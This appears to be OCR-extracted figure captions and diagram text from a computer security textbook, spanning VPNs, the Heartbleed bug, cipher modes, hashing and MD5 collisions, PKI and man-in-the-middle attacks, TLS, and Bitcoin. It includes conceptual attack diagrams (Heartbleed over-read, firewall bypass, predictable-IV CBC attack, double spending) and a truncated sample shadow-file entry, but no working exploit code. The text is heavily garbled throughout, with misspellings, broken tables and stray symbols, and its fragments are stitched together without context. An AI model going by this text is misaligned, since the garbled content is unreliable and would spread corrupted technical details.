NIC

Network (e.g. Ethernet)

Figure 19.4: Virtual Network Interfaces
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applicationson ¢ | G® | socket applications on
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Figure 19.5: Detailed tunnel view
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Create TUN interface v
£ )

TUN Interface IP Tunnel

Establish the tunnel with the
other end (socket interface)

(b) From TUN Interface to Tunnel

Monitor both TUN and socket
interfaces

Socket
TUN or socket

4—
Get data from TUN, Get data from tunnel, e
send it to tunnel write to TUN interface 5
TUN Interface IP Tunnel

(a) The Flow of the Program (c) From Tunnel to TUN Interface

Figure 19.6: How a sample VPN program is implemented

10.0.2.68 10.0.2.69

VPN Server

192.168.60.1

10.4.2.99 10.4.2.5

192.168.60.0/24

192.168.60.6
Host V

Figure 19.7: Network setup for a VPN.



No. Source Destination Protocol Info

110.4.2.99 192.168.60.6 ICMP Echo (ping) request 1d=0x0286,
210.0.2.68 10.0.2.69 UDP 54915 — 55555 Len=84
310.0.2.69 10.0.2.68 UDP 55555 — 54915 Len=84
4192.168.60.6 10.4.2.99 ICMP Echo (ping) reply id=0x0286,
510.4.2.99 192.168.60.6 ICMP Echo (ping) request 1id=0x0286,
610.0.2.68 10.0.2.69 UDP 54915 - 55555 Len=84
710.0.2.69 10.0.2.68 UDP 55555 — 54915 Len=84
8192.168.60.6 10.4.2.99 ICMP  Echo (ping) reply id=0x0286,

Figure 19.8: Packets generated when pinging Host V from Host U

No. Source Destination Protocol Info
3210.4.2.99 192.168.60.6 TELNET Telnet Data ...
| 3310.0.2.68 10.0.2.69 uppP 37674 — 55555 Len=54
1 g Destination unreachable (Port unreachable)

[PSH, ACK] S

Destination unre (Port unreachable)

[TCP Retransmi on] 45654 — 23 [PSH, ACK] Seq=3
37674 — 55555 Len=54

Destination unreachable (Port unreachable)

[TCP Retr mi ] 4565 3 [PSH, ACK] S

Figure 19.9: Network traffic after we break up a VPN connection

facebgok.com

10.0.2.69

User \ """
% 10.4.2.99 10.4.2.5

VPN Client VPN Server

Figure 19.10: Bypassing firewall using VPN
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Chapter 20

The Heartbleed Bug and Attack

nemcpy (bp, pl, payload)

Padding Padding
Payload content Copied payload content
— Payload length Payload length
Type (request) Type (response)
Request packet Response packet

Figure 20.1: How the Heartbeat protocol copies the payload
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Actual length

nencpy (bp,

pl, payload)

Login=Alice;Password=alice123;..

N

Padding

Payload length
(> actual payload length)

Type (request)

Malicious Request packet

_i|

Padding

Copied Payload content

Payload length

Type (response)

Response packet

Figure 20.2: How the HeartBleed attack works
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Secret-Key Encryption

Letter frequencies in English text

abcdefghijklImnopgrstuvwxyz

16
14
12
10

oN & O

Letter frequencies in ciphertext

abcdefghijklilmnopgrstuvwxyz

Figure 21.1: Frequencies of letters (The Y-axis is the percentage)
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CHAPTER 21. SECRET-KEY ENCRYPTION

Rotor
positions

Plugboard
= & wiring

Figure 21.2: Enigma machine

1 2 3 4 5 6 7 8 9 10 11 12

(a) The original image (pic_original.bmp) (b) The encrypted image (pic_encrypted.bmp)

Figure 21.3: The result of the naive encryption approach.



Plaintext Plaintext Plaintext
Block Cipher Block Cipher Block Cipher
Key —— . Key —— ' Key — .
Encryption Encryption Encryption
(ITTITTT] EEEEEEEE [ITT1T1T1T1]
Ciphertext Ciphertext Ciphertext
(a) Electronic Codebook (ECB) mode encryption
Ciphertext Ciphertext Ciphertext
(TITTTTT] (IITTTTT] 111711
Ke Block Cipher Ke Block Cipher Ke Block Cipher
v Decryption v Decryption ¥ Decryption
CIITTTTT] CIITTTTT1] IT17171TT
Plaintext Plaintext Plaintext
(b) Electronic Codebook (ECB) mode decryption
Figure 21.4: Electronic codebook (ECB) mode
Plaintext Plaintext Plaintext
Initialization Vector (IV) EB L A
—_—
Block Cipher Block Cipher Block Cipher
Key Encryption Key Encryption Key Encryption
COIIT1IT11] s sl o ] s sl sl
Ciphertext Ciphertext Ciphertext
(a) Cipher Block Chaining (CBC) mode encryption
Ciphertext Ciphertext Ciphertext
[TTTTTTT] [ITTTT1TT1]
Ke Block Cipher Ke Block Cipher Ke Block Cipher
v Decryption ¥ Decryption ¥ Decryption
Initialization Vector (1V)
i A\ D
[TTTTTTT] i el [ITTT1TT1T1]
Plaintext Plaintext Plaintext

(b) Cipher Block Chaining (CBC) mode decryption

Figure 21.5: Cipher Block Chaining (CBC) mode
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Initialization Vector (IV)

Block Cipher Block Cipher Block Cipher
Key ——> / Key ——> " Key ——> ;
Encryption Encryption Encryption
Plaintext Plaintext Plaintext
[ITTTTT1T] [ITTTTT1T1 [ITTTT11
Ciphertext Ciphertext Ciphertext
(a) Cipher Feedback (CFB) mode encryption
Initialization Vector (IV)
l ! ]
Block Cipher Block Cipher Block Cipher
Key —— _ Key —— ’ Key —— .
Encryption Encryption Encryption
P «—0OIrrrrn <« [ITTTTTT] «— [TTTTTTT]
Ciphertext Ciphertext Ciphertext
OT1TTTT1] OT1TTTT1] o ol ] ]|
Plaintext Plaintext Plaintext

(b) Cipher Feedback (CFB) mode decryption

Figure 21.6: Cipher Feedback (CFB) mode



Initialization Vector (IV)

[TTT1
} !

Ke Block Cipher Ke Block Cipher Ke Block Cipher
¥ Encryption ¥ Encryption ¥ Encryption
Plaintext Plaintext Plaintext

[OTTTTT1T1] OTTTTTT1] [OTTTTT1T1
Ciphertext Ciphertext Ciphertext

(a) Output Feedback (OFB) mode encryption

Initialization Vector (IV)
[IITTT1TTT]

i Block Cipher Ke Block Cipher Ke Block Cipher
v Encryption ¥ Encryption ¥ Encryption
Ciphertext Ciphertext Ciphertext

T O—§ EEErTEe— Orrrr—

[TTTTTTT] ] ol ] ol [ITTTTT™
Plaintext Plaintext Plaintext

(b) Output Feedback (OFB) mode decryption

Figure 21.7: Output Feedback (OFB) mode
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Nonce Counter
3F98A6... 00000000
(11T

Block Cipher

Key Encryption

Plaintext

—®

[TTTTTTT]
Ciphertext

Nonce Counter
3F98A6... 00000000
[ITT1T1T1T1T1]
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Encryption
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Nonce Counter
3F98A6... 00000001
ITT1T1T1T11

Block Cipher

Key Encryption

Plaintext

—P

117171111
Ciphertext

(a) Counter (CTR) mode encryption
Counter

00000001
[111

Nonce
3F98A6...
o

Block Cipher
Encryption

Key ——

Ciphertext
I —

Plaintext

(b) Counter (CTR) mode decryption

Figure 21.8: Counter (CTR) mode

Nonce Counter
3F98A6... 00000002
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Key —
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Initialization Vector (IV)

} } l
Ke Block Cipher Ke Block Cipher Ke Block Cipher
i Encryption ¥ Encryption ¥ Encryption
I e OO TTT+—— ITTITTT]
Plaintext Plaintext Plaintext
—& —&P —®
o e il | (ITTTTTT] (ITTTTTT]
Ciphertext Ciphertext Ciphertext
(a) Output Feedback (OFB) mode encryption
Qutput CITTTITTT I I T T T i) LTI T ) T T TTTd
stream @ EB EB @ EB
Plaintext CE LT BT O ey re,y Frrreerey
| ! ! ! |
Ciphertext LLTTTTT T CTTTTTTTICITTTTTTICTTTITTTIT] CITTITTITT]
(b) XOR the plaintext with the output stream
Figure 21.9: Reusing I'Vs in the OFB mode
Bob’s Vote Attacker’s Vote
“John Smith......” “John Smlth,,@ Vbob®vnext
IV = Voo, —EP) IV = Viexe ?
“John Smith....."® Vo “John Smith....."® Vy
Key— AES Key— AES

Figure 21.10: Attack on CBC when IV is predictable
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IV||CTR1 Key IV||CTR2 Key IV||CTR3 Key IV||CTRO
i ) v
Block Cipher Block Cipher Block Cipher

b [ PP [P D
KW | [Ec

D D D D D
[ multy [ mult, mult, multy multy

Figure 21.11: The GCM Encryption Mode
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One-Way Hash Function

P: padding

iy rlgll

h: compression function

V——

Figure 22.1: Merkle-Damgard Construction

Salt Password Hash
/_/H AN

seed: $6$'WDRr‘WCQZ'$'IsBXp9 .9w(omitted)hkxxy/:17372:0:99999:7: ::

Algorithm (6 means SHA-512)

Figure 22.2: Password entry in /etc/shadow
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K|l M T
AN

/ N\
T
V—> b Bl o > H

S can be derived from Hash(K | | M) H=Hash(K||M]||P]|]|T)

Figure 22.3: Length extension attack

| K | | K |
| opad: 0x5c5c...5¢5¢ ‘ | ipad: 0x3636...3636 |

HaSh(| K @ipad H Message M |)

HaSh(‘ K @ opad “ Hash value |) :>

Figure 22.4: The HMAC Algorithm

Block 1 Block 2 Block 3

Initial Value X »Hash of Block 1 »Hash of Block 2

Figure 22.5: Hash chain



Block 1

Hash of Block 0

Block 2

»>Hash of Block 1

85

Block 3

> Hash of Block 2

Data; Data, Datas
Figure 22.6: Blockchain

Block 1 Block 2 Block 3

Nonce; Nonce, Nonce;

Hash of Block 0 >Hash of Block 1 > Hash of Block 2

Data; Data, Datas

Figure 22.7: Blockchain: a nonce is added to each block

Block 1 Block 2 Block 3

Nonce, Nonce, Nonce;

Hash of Block 0 l»Hash of Block 1 l» Hash of Block 2

Merkle root Merkle root Merkle root
A A A

Block 1 Transactions

Block 2 Transactions Block 3 Transactions

#1: Reward minerl 15 bitcoins
#2: Alice pays Bob 2 bitcoin
#3: Bob pays Charlie 3 bitcoins

#1: Reward miner9 15 bitcoins
#2: Alice pays Ellen 6 bitcoins
#3: Frank pays Bob 3 bitcoins

#1: Reward miner5 15 bitcoins
#2: Bob pays David 3 bitcoins
#3: David pays Alice 1 bitcoin
#4: Ellen pays Henry 2 bitcoins

Figure 22.8: Bitcoin blockchain

A

Prefix + (Padding)

Prefix + (Padding) Q

MDS5 Collision
Generation

Prefix

A 4

Figure 22.9: MD5 collision generation from a prefix
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Hash

Figure 22.10: Generate more collision via length extension

128 bytes
Prefix (multiple of 64 bytes) X | Suffix (the rest of the program)
AN | 1 AN
r N\ r N\
1 H | |
e '
Uandlfled _ AAAA‘AA”'AAAAAAAAAAA _
Version 1 |
|
|
|
|
|
‘ I

Figure 22.11: Break the executable file into three pieces, and create two versions of programs
that have the same hash value.

Prefix (multiple of 64 bytes) Suffix (the rest of the program)
N AN
N
]

N\ r
I 1

P and Q are generated to t t
cause collision Array X Array Y

I I\

Figure 22.12: An approach to generate two hash-colliding programs with different behaviors.
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Public Key Cryptography

Alice Bob
Step 1: Agree upon g, p

Step 2: Step 2:

Generate random x Generate random y
Step 3: send g¥mod p to Bob

Step 3: send g¥mod p to Alice

U 4

Step 4: Compute
K = (g*mod p)? mod p
=g modp

Step 4: Compute
K = (g¥mod p)* mod p
=g modp

Figure 23.1: Diffie-Hellman key exchange protocol
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Alice Bob
Key Generation Alice’s Public key
Publickey: g, p, g*modp @
Private key: g, p, x Encrvption

@ * Generate a random number y

C, g¥ modp « Compute K = (g*mod p)? mod p
= g* mod p

@ * Ciphertext C = ENCRYPTx (M)
Decryption
e Compute K = (g¥mod p)* mod p

=g* modp
e Plaintext M = DECRYPTk(C)

Figure 23.2: Turning DH key exchange protocol into public-key encryption scheme

Key Plaintext

Recipient's
Public key

)
%
pod

h 4

>
m
w

A 4
\ 4

Encrypted Key Ciphertext

Figure 23.3: Hybrid encryption



Alice

An important
— I
message.

@ Alice’s private key

—————————| signature: 3E498A3F...3AB0 | —
Bob @
An important

message.

Alice’s public key

=4 B

Figure 23.4: Digital signature

A Challenge R

A

A’s private key

Signature

A’s public key

=

Signature = Sign(R)

»  Verify the signature

Figure 23.5: Public-key based authentication

Bob
Alice’s public key PK

<

Alice

<%

Generate secret S )
S encrypted using PK

Session key K
Data encrypted using K

» Decrypt S using
Alice’s private key

{

Session key K

(using symmetric-key encryption)

Figure 23.6: TLS/SSL Protocol
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| L1 ]
1™

1234 E789 1234 L7849

Exp 2018
JOHN DOE

Figure 23.7: Chip card (add some illustration, point out the chip)

Card I Y| i

- == Terminal

| r’
SSHEES Preloaded

public key

Card'’s public key

certificate signed Public key certificate
by Issuer

=| Verify the certificate |
Card’s private

L Card’s
ey public key

Preloaded

Challenge R Generate
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Figure 23.8: How a terminal (reader) authenticates cards
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key

Transaction Data (TD) Doing
Sign TD - transactions

public key

Signature - s TD + Signature
Signature LACL >| Verify the signature }——»Issuer

Figure 23.9: How a transaction is authenticated
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Alice’s public key

4%

Alice

[ secret data]?

Mallory’s public key T

t=

Mallory

[ secret data]?

Bob

Figure 24.1: The Man-in-the-Middle Attack (MITM)
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|
Intermediate
CA2

|

Intermediate
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SubCA 1

Sub CA 2

Domain
Owner 2

|
Domain
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Figure 24.2: Hierarchy Of Certificate Authorities
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Certificate Certificate @
URL typed CN: ’ 0 CN: ?
example.com attacker32.com ' example.com
q
Alice Man in the middle example.com

(user)

Figure 24.3: Defeating the MITM attack with PKI

Alice (user) Certificate Authority

0. %
Trusted Certificates ° ‘V
(preloaded)

Confirm

Certificate
example.com a CN:
J E— example.com

0ar
|
i

example.com

Figure 24.4: Security analysis of PKI

Chrome browser

DV/OV Certificate [ & Secure | https://www.microsoft.com/en-us/

EV Certificate [ 8 PayPal, Inc. [US] | https://www.paypal.com/us/home

Firefox browser

DV/OV Certificate | @& https://www.microsoft.com/en-us/

EV Certificate @ PayPal, Inc. (US) | https://www.paypal.com/us/home

Figure 24.5: How browsers display the certificate type
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Application Layer

TLS Layer

Transport Layer
(TCP Protocol)

Network Layer
(IP protocol)

Data Link Layer

Physical Layer

Handshake Protocol

Alert Protocol
ChangeCipherSpec
Protocol
Heartbeat Protocol

Application Protocol

Record Protocol

Figure 25.1: TCP/IP network stack with the TLS layer
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Client Server

Client Hello
(cipher suites, client random)

Server Hello
(decisions on cipher suites, server random)

A

Verify Server Server Certificate

Certificate Server Hello Done

A

Key Client Key Exchange - Key
Generation (encrypted pre-master secret) Generation
» Change Cipher Spec L
‘ Finished |
(message encrypted with session key)
Figure 25.2: TLS handshake protocol
| |
| |
: : client_write_ MAC_key client_write_key
: client_random : 7y
| | ,4
| |
lient d : server_random I 32 32 32 32
client_random : - bytes | bytes | bytes | bytes
|
! master_secret
server_random (48 bytes) 4 4
server_write_ MAC_key server_write_key

pre_master_secret

Master Secret Generation Master Secret Expansion Session Keys Generation

Figure 25.3: TLS key generation (master Secret and session keys)

|<—1 byte—>|<—2 bytes—>|<—2 bytes—>|<7n byte54>|<—m bytes—>|<—k bytes—>|

Content
Type

Version Length Data (may be compressed) MAC Padding

AV

, -
TLS header TLS payload (Encrypted)

Figure 25.4: Record format of the TLS Record Protocol
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Application  Get data from | | SSL_write()

Layer application M
,~ Fragment | Data Block 1 | | Data Block 2 |
Compress ﬂ
(optional) Compressed Data
TLS Layer < Add MAF | Compressed Data | MAC| Padding |
and padding ﬁ
Encrypt | Encrypted Data |
U U
Add .
Encrypted Data | write()

| TIS |
\_ TLS header | Header

~
~< ~
~ ~
~
~
~ ~

Transport Layer 5 T3
(TCP Stream) | Header | Encrypted Data | Header | Encrypted Data |

Figure 25.5: Sending data with TLS record protocol

m bytes SSL_read()
AN

buffered
— TLS Buffer

Plainteixt Data

i

Decrypt,
Check integrity,
Decompress
TCP Buffer
TLS Record n TLS Record n+1 | - read()

Figure 25.6: Reading data with TLS record protocol
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TLS Client TLS Server

TLS context setup

TLS context setup

connect() < TCP handshake

» accept()

w (%]

s -

5 5

iz I

o8 =

= TLS handshake -
SSL_connect() < » SSL_accept()

SSL_read/ _  TLSdata transmission _ SSL_read/
SSL_write ” SSL_write

Figure 25.7: TLS programming overview
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03986AB62BD013A...0B17AC275DA030964C

Private Key (Random) ‘ —> ‘ Public Key

“Double hash”

SHA256

Elliptic Curve
Or
HASH160
00 || Public Key Hash (20 bytes)

D0240C0OC15A...277CDE37416FB SHA256

¢ lFirst 4 bytes

00 Public Key Hash (20 bytes) Checksum

B —— ‘ Bitcoin Address ‘ «— ( Base58 Encoding )

1KyYjVfuHQ2s8JB6ASZKNAPWQUj1Fmgzwq

Figure 26.1: How Bitcoin address is generated.
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Figure 26.2: QR code for bitcoin address: 1IETF £xDNaF8rWsuorMKhdHruxSuT9BDUGE

]
: =

= — =

= :ﬁﬁi Transfer the bitcoins % ‘@%

to a new safe
Unlock an existing safe A locked safe is created
(by payer or payee)
Figure 26.3: Analogy
Input Safes Output Safes

(((
‘@c‘ .

(((«

s

(g

\(((( ( \(((

((«
£

(
-

)

Figure 26.4: Transaction with multiple inputs and outputs
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Current
Transaction T1 Transaction

2 BTC
In Out > In Out —» 2.5 BTC (to Bob)
ut 1.5 BTC
- » In —> 0.5 BTC (to Charlie)

Transaction T2

o] [on

Out > 0.49997 BTC (to Alice)

Figure 26.5: An example of transaction

Previous Transaction Current Transaction

Output 2 BTC Input

Unlocking script

Combined script: Unlocking script  [EeId {yI:Jdq]s14

The execution result decides whether
the unlocking is successful or not.

Figure 26.6: Unlocking and locking scripts

scriptSig (unlocking script) of Input scriptPubkey (locking script) of Output

DUP HASH160 <Pubkey Hash> EQUALVERIFY  CHECKSIG

<Signature>  <Pubkey>
l l l Hash Equal or not? Verify
Pubkey Hash
Pubkey Hash Hash
Pubkey Pubkey Pubkey Pubkey Pubkey
Signature Signature Signature Signature Signature Signature Oorl

Figure 26.7: Pay-to-Pubkey-Hash script
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Redeem Script:  <Pubkey>

Unlocking Script (scriptSig)

<Signature> <Serialized redeem script>

<Signature>

S
g
C)e

uonezielasaq

. 0(\

CHAPTER 26. BITCOIN AND BLOCKCHAIN

CHECKSIG

HAsH16p

Locking Script (scriptPubKey)

HASH160 <Script Hash> EQUAL

l

Redeem script execution

<Pubkey> = CHECKSIG

Figure 26.8: Pay-to-ScriptHash (P2SH)

Block 1

Nonce;

Hash of Block 0

Data,

Block 2

Hash of the

H»>Hash of Block 1

Standard execution

<Serialized redeem script> HASH160  <Script Hash> EQUAL

Block 3

Nonce,

Data,

> Hash of Block 2

Nonces

Dataz

Figure 26.9: Blockchain: how blocks are chained together

Block N-1 Block N
Header Header
Nonce Nonce

Hash of Block N-2

previous block

» Hash of Block N-1

This hash will
— be included in
the next block

Transactions

Merkle Root Merkle Root
TX; Ce) Ce)

Transactions

Figure 26.10: Blocks
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Merkle Root: Hqg

Figure 26.11: An example of Merkle tree

Block | Block | Block Branch A
563003 " 563004 " 563005
Block .| Block
563001 ~1 563002
Block .| Block
f 563003 > 563004 Branch B
) ] ) ) the tie is broken,
Timeline Branching happens atie a tie again and Branch A wins
Figure 26.12: Branching
4 blocks
r A Y
Block .| Block .| Block .| Block .| Block
563001 "l 563002 " 563003 ” 563004 " 563005
'I €= Transaction X is confirmed 4 times

Transaction X

Figure 26.13: Confirmation number of transactions
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4% 16% 20% 40% 60% 80% 100%
2 0.237%  3.635% 5600% 20.800% 43.200% 70.400%  100%
3 0.016% 0905%  1712% 11.584% 32.616% 63.488%  100%
4 0.001% 0.235% 0.546% 6.669% 25.207% 57.958%  100%
5 =0  0063% 0.178% 3.916% 19.762% 53.314%  100%
6 =0  0017% 0059%  2331% 15645% 49.300%  100%
7 =0  0005% 0020% 1401% 12475% 45.769%  100%
8 =0  0001% 0007% 0.848% 10.003% 42.621%  100%

Figure 26.14: Probability of successful double spending

Block Block Ly et Block Alice’s fake
563002 | > eer > 565001 565002 blockchain
Block .| Block Block The authentic
563001 7| 563002 | > > sesoo1 [>T blockchain
Gess Alice’s fake
Spend the 1000 bitcoins blockchain exceeds
obtained from Block 562000 the length of the
authentic one; she
Alice spent bitcoin The jet was published her fake
Timeline and bought a jet delivered blockchain

\

Figure 26.15: Double spending with a majority of hash power
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